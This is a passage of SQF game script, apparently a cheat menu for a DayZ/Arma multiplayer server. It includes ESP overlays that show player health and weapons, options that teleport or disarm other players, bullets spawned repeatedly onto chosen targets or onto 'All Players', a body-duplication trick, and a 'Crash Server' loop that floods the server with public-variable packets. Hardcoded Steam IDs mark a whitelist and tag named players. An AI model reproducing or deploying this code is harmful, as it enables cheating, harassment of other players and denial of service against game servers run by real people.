  919. ["<t size='1.3' color='#00E0FD'>" + "Remove Building Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  920. johnscrpt_showbuild = 0;
  921. };
  922.  
  923. while {johnscrpt_showbuild == 1} do
  924. {
  925. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  926. {
  927. if ((_x != player) && !(_x isKindOf "Man")) then
  928. {
  929. _typeof = toArray typeof _x;
  930. _typeof resize 4;
  931. _typeof;
  932. _typeof = toString _typeof;
  933. if (_typeof == "land") then
  934. {
  935. hideObject _x;
  936. };
  937. };
  938. } forEach _entities;
  939.  
  940. sleep 5;
  941. };
  942.  
  943. while {johnscrpt_showbuild == 0} do
  944. {
  945. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  946. {
  947. if ((_x != player) && !(_x isKindOf "Man")) then
  948. {
  949. _typeof = toArray typeof _x;
  950. _typeof resize 4;
  951. _typeof;
  952. _typeof = toString _typeof;
  953. if (_typeof == "land") then
  954. {
  955. _x hideObject false;
  956. };
  957. };
  958. } forEach _entities;
  959. sleep 5;
  960. };
  961.  
  962. };
  963.  
  964. if (_scriptname == "Fuck Em Up[T]") then
  965. {
  966. if (isnil ("johnscrpt_fuckemup2")) then
  967. {
  968. johnscrpt_fuckemup2 = 0;
  969. };
  970.  
  971. if (johnscrpt_fuckemup2 == 0) then
  972. {
  973. ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  974. johnscrpt_fuckemup2 = 1;
  975. }
  976. else
  977. {
  978. ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  979. johnscrpt_fuckemup2 = 0;
  980. };
  981.  
  982. while {johnscrpt_fuckemup2 == 1} do
  983. {
  984. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  985. {
  986. if ((_x != player) && (alive _x) && (name _x == targetname)) then
  987. {
  988. _pos = player modelToWorld [0,1,0];
  989. _x setpos _pos;
  990. };
  991. } forEach _entities;
  992. };
  993. };
  994.  
  995. if (_scriptname == "Fast Walk") then
  996. {
  997. if (isNil 'johnscrpt_fastwalk') then
  998. {
  999. johnscrpt_fastwalk = 0;
  1000. };
  1001.  
  1002. if (johnscrpt_fastwalk == 0) then
  1003. {
  1004. johnscrpt_fastwalk = 1;
  1005. ["<t size='1.3' color='#00E0FD'>" + "Fast Walk On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1006. } else {
  1007. johnscrpt_fastwalk = 0;
  1008. ["<t size='1.3' color='#00E0FD'>" + "Fast Walk Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1009. };
  1010. };
  1011.  
  1012. if (_scriptname == "Remove Weapon[T]") then
  1013. {
  1014. if (isNil 'johnscrpt_removewep') then
  1015. {
  1016. johnscrpt_removewep = 0;
  1017. };
  1018.  
  1019. if (johnscrpt_removewep == 0) then
  1020. {
  1021. ["<t size='1.3' color='#00E0FD'>" + "Remove Weapon On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1022. johnscrpt_removewep = 1;
  1023. } else {
  1024. ["<t size='1.3' color='#00E0FD'>" + "Remove Weapon Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1025. johnscrpt_removewep = 0;
  1026. };
  1027.  
  1028. while {johnscrpt_removewep == 1} do
  1029. {
  1030.  
  1031. if (targetname == "All Players") then
  1032. {
  1033.  
  1034. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",200]);
  1035. {
  1036. _found = [getplayeruid _x,str whitelist] call InString;
  1037. if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
  1038. {
  1039. dropItems = _x;publicVariableServer 'dropItems';
  1040. };
  1041. } forEach _entities;
  1042.  
  1043. }else{
  1044.  
  1045. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1046. {
  1047. if (name _x == targetname) then
  1048. {
  1049. dropItems = _x;publicVariableServer 'dropItems';
  1050. };
  1051. } forEach _entities;
  1052.  
  1053. };
  1054.  
  1055. };
  1056.  
  1057. };
  1058.  
  1059. if (_scriptname == "View Gear") then
  1060. {
  1061. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1062. {
  1063. if (name _x == targetname) then
  1064. {
  1065.  
  1066. createGearDialog [(_x), "RscDisplayGear"];
  1067.  
  1068. };
  1069. } forEach _entities;
  1070.  
  1071. };
  1072.  
  1073. if (_scriptname == "Spectate [T]") then
  1074. {
  1075. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1076. {
  1077. if(name _x == targetname) then
  1078. {
  1079.  
  1080. vehicle _x switchCamera "EXTERNAL";
  1081. systemchat format ["Spectating %1, press F10 to cancel", name _x];
  1082.  
  1083. };
  1084. } forEach _entities;
  1085. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x44) then {vehicle player switchCamera "EXTERNAL";}'];
  1086. };
  1087.  
  1088. if (_scriptname == "No Recoil") then
  1089. {
  1090. if (isnil ("johnscrpt_norecoil")) then
  1091. {
  1092. johnscrpt_norecoil = 0;
  1093. };
  1094.  
  1095. if (johnscrpt_norecoil==0) then
  1096. {
  1097. ["<t size='1.3' color='#00E0FD'>" + "No Recoil On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1098. player setUnitRecoilCoefficient 0;
  1099. johnscrpt_norecoil = 1;
  1100. }
  1101. else
  1102. {
  1103. ["<t size='1.3' color='#00E0FD'>" + "No Recoil Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1104. player setUnitRecoilCoefficient 1;
  1105. johnscrpt_norecoil = 0;
  1106. };
  1107. };
  1108.  
  1109. if (_scriptname == "Fuck em up") then
  1110. {
  1111. if (isnil ("johnscrpt_fuckemup")) then
  1112. {
  1113. johnscrpt_fuckemup = 0;
  1114. };
  1115.  
  1116. if (johnscrpt_fuckemup == 0) then
  1117. {
  1118. ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1119. johnscrpt_fuckemup = 1;
  1120. }
  1121. else
  1122. {
  1123. ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1124. johnscrpt_fuckemup = 0;
  1125. };
  1126.  
  1127. while {johnscrpt_fuckemup == 1} do
  1128. {
  1129. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1130. {
  1131. if ((_x != player) && (alive _x)) then
  1132. {
  1133. _pos = player modelToWorld [0,1,0];
  1134. _x setpos _pos;
  1135. };
  1136. } forEach _entities;
  1137. };
  1138.  
  1139. };
  1140.  
  1141. if (_scriptname == "Tp Items") then
  1142. {
  1143. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  1144. {
  1145. if ((_x != player) && !(_x isKindOf "Man")) then
  1146. {
  1147. _pos = player modelToWorld [round ((random 5)),round ((random 5)),0];
  1148. _x setpos _pos;
  1149. };
  1150. } forEach _entities;
  1151. };
  1152.  
  1153. if (_scriptname == "BODY ESP") then
  1154. {
  1155.  
  1156. johnscrpt_toggleesp2 = {
  1157. tarDis2 = 1000;
  1158.  
  1159. if (isNil 'johnscrpt_espon2') then
  1160. {
  1161. johnscrpt_espon2 = 0;
  1162. };
  1163.  
  1164. if (johnscrpt_espon2 == 0) then
  1165. {
  1166. johnscrpt_espon2 = 1;
  1167. ["<t size='1.3' color='#00E0FD'>" + "BODY ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1168. _a = [];
  1169. while {johnscrpt_espon2 == 1} do
  1170. {
  1171. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1050]);
  1172. _count = count _entities;
  1173. {
  1174. if (((_x in _a) && (alive _x)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tarDis2))) then {_a = _a - [_x];};
  1175. if ((_x != player) && (name _x != '') && !(_x in _a) && (name _X == "UnKnown Entity") && ((positionCameraToWorld [0,0,0] distance _x) <= tarDis2)) then
  1176. {
  1177. _a = _a + [_x];
  1178. [_x] spawn johnscrpt_drawesp2;
  1179. sleep 1;
  1180. };
  1181. } forEach _entities;
  1182. sleep 10;
  1183. };
  1184. } else {
  1185. johnscrpt_espon2 = 0;
  1186. ["<t size='1.3' color='#00E0FD'>" + "BODY ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1187. };
  1188. };
  1189. johnscrpt_drawesp2 = {
  1190. disableSerialization;
  1191. if (isNil 'johnscrpt_espcount2') then {johnscrpt_espcount2 = 2733;};
  1192. johnscrpt_espcount2 cutRsc ['RscDynamicText', 'PLAIN'];
  1193. johnscrpt_espcount2 = johnscrpt_espcount2 + 1;
  1194. _ctrl = ((uiNamespace getvariable 'BIS_dynamicText') displayctrl 9999);
  1195. _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
  1196. _unit = _this select 0;
  1197. while {!(alive _unit) && ((positionCameraToWorld [0,0,0] distance _unit) < tarDis2)} do
  1198. {
  1199. if (johnscrpt_espon2 == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
  1200. _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
  1201. _pos2D = WorldToScreen _pos;
  1202. _hand = primaryWeapon _unit;
  1203. _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
  1204. if (_wName == "") then
  1205. {
  1206. _wName = typeof itemInHands _unit;
  1207. };
  1208. if ((count _pos2D > 0) && (name _unit == "UnKnown Entity") ) then
  1209. {
  1210. _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
  1211. _text = parseText format ['<t size=''0.35'' color=''#ff0000''>Body (%1m) <br/>Wep: %2</t>', round (positionCameraToWorld [0,0,0] distance _unit),_wName];
  1212. _ctrl ctrlSetStructuredText _text;
  1213. _ctrl ctrlCommit 0;
  1214. };
  1215. sleep 0.05;
  1216. };
  1217. _ctrl ctrlShow false;
  1218. _ctrl ctrlEnable false;
  1219. };
  1220. [] spawn johnscrpt_toggleesp2;
  1221.  
  1222. };
  1223.  
  1224. if (_scriptname == "ESP") then
  1225. {
  1226. johnscrpt_toggleesp = {
  1227. tarDis = 1000;
  1228.  
  1229. if (isNil 'johnscrpt_espon') then
  1230. {
  1231. johnscrpt_espon = 0;
  1232. };
  1233.  
  1234. if (johnscrpt_espon == 0) then
  1235. {
  1236. johnscrpt_espon = 1;
  1237. ["<t size='1.3' color='#00E0FD'>" + "ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1238. _a = [];
  1239. while {johnscrpt_espon == 1} do
  1240. {
  1241. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1050]);
  1242. _count = count _entities;
  1243. {
  1244. if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tarDis))) then {_a = _a - [_x];};
  1245. if ((_x != player) && (name _x != '') && !(_x in _a) && (name _X != "UnKnown Entity") && ((positionCameraToWorld [0,0,0] distance _x) <= tarDis)) then
  1246. {
  1247. _a = _a + [_x];
  1248. [_x] spawn johnscrpt_drawesp;
  1249. sleep 1;
  1250. };
  1251. } forEach _entities;
  1252. sleep 10;
  1253. };
  1254. } else {
  1255. johnscrpt_espon = 0;
  1256. ["<t size='1.3' color='#00E0FD'>" + "ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1257. };
  1258. };
  1259. johnscrpt_drawesp = {
  1260. disableSerialization;
  1261. if (isNil 'johnscrpt_espcount') then {johnscrpt_espcount = 2733;};
  1262. johnscrpt_espcount cutRsc ['RscTime', 'PLAIN'];
  1263. johnscrpt_espcount = johnscrpt_espcount + 1;
  1264. _ctrl = ((uiNamespace getvariable 'BIS_InfoTime') displayctrl 112301);
  1265. _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
  1266. _unit = _this select 0;
  1267. while {(alive _unit) && ((positionCameraToWorld [0,0,0] distance _unit) < tarDis)} do
  1268. {
  1269. if (johnscrpt_espon == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
  1270. _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
  1271. _pos2D = WorldToScreen _pos;
  1272. _health = round(((_unit getVariable['blood',0])/5000)*100);
  1273. _hand = primaryWeapon _unit;
  1274. _special = "";
  1275. if (getplayeruid _unit == "76561198112083899") then
  1276. {
  1277. _special = "Deadly Slob";
  1278. };
  1279. if (getplayeruid _unit == "76561197980412665") then
  1280. {
  1281. _special = "ElloHime";
  1282. };
  1283. if (getplayeruid _unit == "76561198076826765") then
  1284. {
  1285. _special = "Terrorist";
  1286. };
  1287. if (getplayeruid _unit == "76561198045155785") then
  1288. {
  1289. _special = "Deluxe";
  1290. };
  1291. if (getplayeruid _unit == "76561198028049906") then
  1292. {
  1293. _special = "Shizzle";
  1294. };
  1295. if (getplayeruid _unit == "76561198076671959") then
  1296. {
  1297. _special = "Aurandra";
  1298. };
  1299. if (getplayeruid _unit == "76561198079236524") then
  1300. {
  1301. _special = "Play 420";
  1302. };
  1303. if (getplayeruid _unit == "76561198019326016") then
  1304. {
  1305. _special = "Teamge0";
  1306. };
  1307. if (getplayeruid _unit == "76561198039266658") then
  1308. {
  1309. _special = "Famou5ivan";
  1310. };
  1311. if (getplayeruid _unit == "76561198121987923") then
  1312. {
  1313. _special = "Syndicate???";
  1314. };
  1315. if (getplayeruid _unit == "76561198070224802") then
  1316. {
  1317. _special = "DekonReighn"
  1318. };
  1319. if (getplayeruid _unit == "76561197967275153") then
  1320. {
  1321. _special = "Clam Taco";
  1322. };
  1323. if (getplayeruid _unit == "76561198024407638") then
  1324. {
  1325. _special = "Gold Glove";
  1326. };
  1327. if (getplayeruid _unit == "76561198049451564") then
  1328. {
  1329. _special == "Failrlight Excaliber";
  1330. };
  1331. _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
  1332. if (_wName == "") then
  1333. {
  1334. _wName = typeof itemInHands _unit;
  1335. };
  1336. if ((count _pos2D > 0) && (name _unit != "UnKnown Entity") ) then
  1337. {
  1338. _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
  1339. _text = parseText format ['<t size=''0.25'' color=''#00f2ff''>%1 (%2m) [HP: %3%]<br/>Wep: %4<br/>%5</t>', name _unit, round (positionCameraToWorld [0,0,0] distance _unit),_health,_wName,_special];
  1340. _ctrl ctrlSetStructuredText _text;
  1341. _ctrl ctrlCommit 0;
  1342. };
  1343. sleep 0.05;
  1344. };
  1345. _ctrl ctrlShow false;
  1346. _ctrl ctrlEnable false;
  1347. };
  1348. [] spawn johnscrpt_toggleesp;
  1349. };
  1350.  
  1351. if (_scriptname == "WRECK ESP") then
  1352. {
  1353. johnscrpt_toggleesp2 = {
  1354. tardis2 = 1000;
  1355.  
  1356. if (isNil 'johnscrpt_espon2') then
  1357. {
  1358. johnscrpt_espon2 = 0;
  1359. };
  1360.  
  1361. if (johnscrpt_espon2 == 0) then
  1362. {
  1363. johnscrpt_espon2 = 1;
  1364. ["<t size='1.3' color='#00E0FD'>" + "CHOPPER ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1365. _a = [];
  1366. while {johnscrpt_espon2 == 1} do
  1367. {
  1368. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  1369. _count = count _entities;
  1370. {
  1371. if (((_x in _a)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tardis2))) then {_a = _a - [_x];};
  1372. if ((typeof _x == "land_mh_60wreck") or (typeof _x == "Land_Mi8_Crashed") && ((positionCameraToWorld [0,0,0] distance _x) <= tardis2)) then
  1373. {
  1374. _a = _a + [_x];
  1375. [_x] spawn johnscrpt_drawesp2;
  1376. sleep 1;
  1377. };
  1378. } forEach _entities;
  1379. sleep 2;
  1380. };
  1381. } else {
  1382. johnscrpt_espon2 = 0;
  1383. ["<t size='1.3' color='#00E0FD'>" + "CHOPPER ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1384. };
  1385. };
  1386. johnscrpt_drawesp2 = {
  1387. disableSerialization;
  1388. if (isNil 'johnscrpt_espcount') then {johnscrpt_espcount = 2733;};
  1389. johnscrpt_espcount cutRsc ['RscTime', 'PLAIN'];
  1390. johnscrpt_espcount = johnscrpt_espcount + 1;
  1391. _ctrl = ((uiNamespace getvariable 'BIS_InfoTime') displayctrl 112301);
  1392. _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
  1393. _unit = _this select 0;
  1394. while {((positionCameraToWorld [0,0,0] distance _unit) < tardis2)} do
  1395. {
  1396. if (johnscrpt_espon2 == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
  1397. _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
  1398. _pos2D = WorldToScreen _pos;
  1399. if ((count _pos2D > 0)) then
  1400. {
  1401. _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
  1402. _text = parseText format ['<t size=''0.5'' color=''#0D00FF''>%1</t>', "Heli Crash"];
  1403. _ctrl ctrlSetStructuredText _text;
  1404. _ctrl ctrlCommit 0;
  1405. };
  1406. sleep 0.05;
  1407. };
  1408. _ctrl ctrlShow false;
  1409. _ctrl ctrlEnable false;
  1410. };
  1411. [] spawn johnscrpt_toggleesp2;
  1412. };
  1413.  
  1414. if (_scriptname == "Knock em out [T]") then
  1415. {
  1416.  
  1417. if (targetname == "All Players") then
  1418. {
  1419.  
  1420. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1421. {
  1422.  
  1423. _found = [getplayeruid _x,str whitelist] call InString;
  1424. if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
  1425. {
  1426.  
  1427. _pos = _x modeltoworld [0,0,2];
  1428. _bullet = "MeleeFist" createvehiclelocal _pos;
  1429. _bullet setVelocity [0, 0, -50];
  1430. _bullet2 = "MeleeFist" createvehiclelocal _pos;
  1431. _bullet2 setVelocity [0, 0, -50];
  1432. _bullet3 = "MeleeFist" createvehiclelocal _pos;
  1433. _bullet3 setVelocity [0, 0, -50];
  1434. _bullet4 = "MeleeFist" createvehiclelocal _pos;
  1435. _bullet4 setVelocity [0, 0, -50];
  1436. _bullet5 = "MeleeFist" createvehiclelocal _pos;
  1437. _bullet5 setVelocity [0, 0, -50];
  1438. _bullet6 = "MeleeFist" createvehiclelocal _pos;
  1439. _bullet6 setVelocity [0, 0, -50];
  1440. _bullet7 = "MeleeFist" createvehiclelocal _pos;
  1441. _bullet7 setVelocity [0, 0, -50];
  1442. _bullet8 = "MeleeFist" createvehiclelocal _pos;
  1443. _bullet8 setVelocity [0, 0, -50];
  1444. _bullet9 = "MeleeFist" createvehiclelocal _pos;
  1445. _bullet9 setVelocity [0, 0, -50];
  1446. _bullet10 = "MeleeFist" createvehiclelocal _pos;
  1447. _bullet10 setVelocity [0, 0, -50];
  1448.  
  1449. };
  1450.  
  1451. } forEach _entities;
  1452.  
  1453. }else{
  1454.  
  1455.  
  1456. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1457. {
  1458. if (name _x == targetname) then
  1459. {
  1460.  
  1461. _pos = _x modeltoworld [0,0,2];
  1462. _bullet = "MeleeFist" createvehiclelocal _pos;
  1463. _bullet setVelocity [0, 0, -50];
  1464. _bullet2 = "MeleeFist" createvehiclelocal _pos;
  1465. _bullet2 setVelocity [0, 0, -50];
  1466. _bullet3 = "MeleeFist" createvehiclelocal _pos;
  1467. _bullet3 setVelocity [0, 0, -50];
  1468. _bullet4 = "MeleeFist" createvehiclelocal _pos;
  1469. _bullet4 setVelocity [0, 0, -50];
  1470. _bullet5 = "MeleeFist" createvehiclelocal _pos;
  1471. _bullet5 setVelocity [0, 0, -50];
  1472. _bullet6 = "MeleeFist" createvehiclelocal _pos;
  1473. _bullet6 setVelocity [0, 0, -50];
  1474. _bullet7 = "MeleeFist" createvehiclelocal _pos;
  1475. _bullet7 setVelocity [0, 0, -50];
  1476. _bullet8 = "MeleeFist" createvehiclelocal _pos;
  1477. _bullet8 setVelocity [0, 0, -50];
  1478. _bullet9 = "MeleeFist" createvehiclelocal _pos;
  1479. _bullet9 setVelocity [0, 0, -50];
  1480. _bullet10 = "MeleeFist" createvehiclelocal _pos;
  1481. _bullet10 setVelocity [0, 0, -50];
  1482.  
  1483. };
  1484.  
  1485. } forEach _entities;
  1486.  
  1487. };
  1488.  
  1489. };
  1490.  
  1491. if (_scriptname == "Dupe body") then
  1492. {
  1493.  
  1494. if (isNil "clientReady") then {clientReady = clientNew select 2} else {clientReady = clientReady};
  1495. publicVariableServer "clientReady";
  1496.  
  1497. };
  1498.  
  1499. if (_scriptname == "Attachto [T]") then
  1500. {
  1501. if (isnil ("johnscrpt_attachto2")) then
  1502. {
  1503. johnscrpt_attachto2 = 0;
  1504. };
  1505.  
  1506. if (johnscrpt_attachto2 == 0) then
  1507. {
  1508. ["<t size='1.3' color='#00E0FD'>" + "Attachto On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1509. johnscrpt_attachto2 = 1;
  1510. }
  1511. else
  1512. {
  1513. ["<t size='1.3' color='#00E0FD'>" + "Attachto Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1514. johnscrpt_attachto2 = 0;
  1515. };
  1516.  
  1517. while {johnscrpt_attachto2 == 1} do
  1518. {
  1519. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1520. {
  1521. if (name _x == targetname) then
  1522. {
  1523.  
  1524. _pos = _x modeltoworld [0,-1,0];
  1525. player setpos _pos;
  1526.  
  1527. };
  1528.  
  1529. } forEach _entities;
  1530. };
  1531. };
  1532.  
  1533. if (_scriptname == "Crash Server") then
  1534. {
  1535.  
  1536. for "_i" from 0 to 5000 do {
  1537. clientNew = [0,[floor(random(6)),floor(random(6)),floor(random(6))],_i];
  1538. publicVariableServer "clientNew";
  1539. uiSleep (5/30);
  1540. };
  1541.  
  1542. };
  1543.  
  1544. if (_scriptname == "Head Shake") then
  1545. {
  1546.  
  1547. if (isNil 'headshake') then {headshake = false;};
  1548.  
  1549. if (headshake) then
  1550. {
  1551. ["<t size='1.3' color='#00E0FD'>" + "Head Shake Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1552. headshake = false;
  1553. }else{
  1554. ["<t size='1.3' color='#00E0FD'>" + "Head Shake On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1555. headshake = true;
  1556. };
  1557.  
  1558. while {headshake} do
  1559. {
  1560.  
  1561. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",5]);
  1562. {
  1563. _found = [getplayeruid _x,str whitelist] call InString;
  1564. if ((_x != player) && (alive _x) && !(_found)) then
  1565. {
  1566. _ammo = "B_12Gauge_Pellets";
  1567. _array = [_x,29,player modeltoworld [0,50,20]];
  1568. _x requestDamage [player, _array select 2, _ammo, _array select 1];
  1569. sleep 0.5;
  1570. };
  1571. } forEach _entities;
  1572.  
  1573. };
  1574.  
  1575. };
  1576.  
  1577. if (_scriptname == "Shoot em [T]") then
  1578. {
  1579.  
  1580. if (targetname == "All Players") then
  1581. {
  1582.  
  1583. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1584. {
  1585.  
  1586. _found = [getplayeruid _x,str whitelist] call InString;
  1587. if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
  1588. {
  1589.  
  1590. _pos = _x modeltoworld [0,0,1.20];
  1591. _bullet = "B_762x51_Ball" createvehiclelocal _pos;
  1592. _bullet setVelocity [0, 0, -50000];
  1593. _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
  1594. _bullet2 setVelocity [0, 0, -50000];
  1595. _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
  1596. _bullet3 setVelocity [0, 0, -50000];
  1597. _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
  1598. _bullet4 setVelocity [0, 0, -50000];
  1599. _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
  1600. _bullet5 setVelocity [0, 0, -50000];
  1601. _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
  1602. _bullet6 setVelocity [0, 0, -50000];
  1603. _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
  1604. _bullet7 setVelocity [0, 0, -50000];
  1605. _bullet8 = "B_762x51_Ball" createvehiclelocal _pos;
  1606. _bullet8 setVelocity [0, 0, -50000];
  1607. _bullet9 = "B_762x51_Ball" createvehiclelocal _pos;
  1608. _bullet9 setVelocity [0, 0, -50000];
  1609. _bullet10 = "B_762x51_Ball" createvehiclelocal _pos;
  1610. _bullet10 setVelocity [0, 0, -50000];
  1611.  
  1612. };
  1613.  
  1614. } forEach _entities;
  1615.  
  1616. }else{
  1617.  
  1618.  
  1619. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1620. {
  1621. if (name _x == targetname) then
  1622. {
  1623.  
  1624. _pos = _x modeltoworld [0,0,1.20];
  1625. _bullet = "B_762x51_Ball" createvehiclelocal _pos;
  1626. _bullet setVelocity [0, 0, -50000];
  1627. _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
  1628. _bullet2 setVelocity [0, 0, -50000];
  1629. _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
  1630. _bullet3 setVelocity [0, 0, -50000];
  1631. _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
  1632. _bullet4 setVelocity [0, 0, -50000];
  1633. _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
  1634. _bullet5 setVelocity [0, 0, -50000];
  1635. _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
  1636. _bullet6 setVelocity [0, 0, -50000];
  1637. _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
  1638. _bullet7 setVelocity [0, 0, -50000];
  1639. _bullet8 = "B_762x51_Ball" createvehiclelocal _pos;
  1640. _bullet8 setVelocity [0, 0, -50000];
  1641. _bullet9 = "B_762x51_Ball" createvehiclelocal _pos;
  1642. _bullet9 setVelocity [0, 0, -50000];
  1643. _bullet10 = "B_762x51_Ball" createvehiclelocal _pos;
  1644. _bullet10 setVelocity [0, 0, -50000];
  1645.  
  1646. };
  1647.  
  1648. } forEach _entities;
  1649.  
  1650. };
  1651.  
  1652. };
  1653.  
  1654. if (_scriptname == "Kill Self") then
  1655. {
  1656. _pos = player modelToWorld [0,0,20];
  1657. player setpos _pos;
  1658. };
  1659.  
  1660. if (_scriptname == "No Grass") then
  1661. {
  1662. if (isnil ("johnscrpt_nograss")) then
  1663. {
  1664. johnscrpt_nograss = 0;
  1665. };
  1666.  
  1667. if (johnscrpt_nograss==0) then
  1668. {
  1669. ["<t size='1.3' color='#00E0FD'>" + "No Grass On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1670. setTerrainGrid 50;
  1671. enableEnvironment false;
  1672. johnscrpt_nograss=1;
  1673. }
  1674. else
  1675. {
  1676. ["<t size='1.3' color='#00E0FD'>" + "No Grass Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  1677. setTerrainGrid 20;
  1678. enableEnvironment true;
  1679. johnscrpt_nograss=0;
  1680. };
  1681. };
  1682.  
  1683. };
  1684.  
  1685. thirdperson = false;
  1686. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x9C) then
  1687. {
  1688. if (thirdperson) then
  1689. {
  1690. thirdperson = false;
  1691. cameraOn switchCamera "EXTERNAL";
  1692. }else{
  1693. thirdperson = true;
  1694. cameraOn switchCamera "INTERNAL";
  1695. };
  1696. }'];
  1697.  
  1698. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x32) then
  1699. {
  1700. createdialog "RscDisplayArcadeMap";
  1701. }'];
  1702.  
  1703. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x24) then
  1704. {
  1705. _wPos = screenToWorld [0.5,0.5];
  1706. _pos = [_wpos select 0, _wpos select 1, 5];
  1707. _bullet = "B_762x51_Ball" createvehiclelocal _pos;
  1708. _bullet setVelocity [0, 0, -50000];
  1709.  
  1710. }'];
  1711.  
  1712. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x31) then
  1713. {
  1714.  
  1715. _startingpos = screenToWorld [0.5,0.5];
  1716. _startingpos = [_startingpos select 0, _startingpos select 1, 0];
  1717.  
  1718. _entities = _startingpos nearEntities ["SurvivorBase",20];
  1719. {
  1720.  
  1721. _found = [getplayeruid _x,str whitelist] call InString;
  1722. if ((_x != player) && (alive _x) && !(_found)) then
  1723. {
  1724.  
  1725. _anim = animationState _x;
  1726. _bodyPosition = getText(configFile >> "CfgMovesMaleSdr2" >> "states" >> _anim >> "bodyPosition");
  1727. if (_bodyposition == "prone") then
  1728. {
  1729. pos = _x modeltoworld [-.10,-0.3,.65];
  1730. };
  1731. if (_bodyposition == "kneel") then
  1732. {
  1733. pos = _x modeltoworld [-.10,.05,.65];
  1734. };
  1735. if (_bodyposition == "stand") then
  1736. {
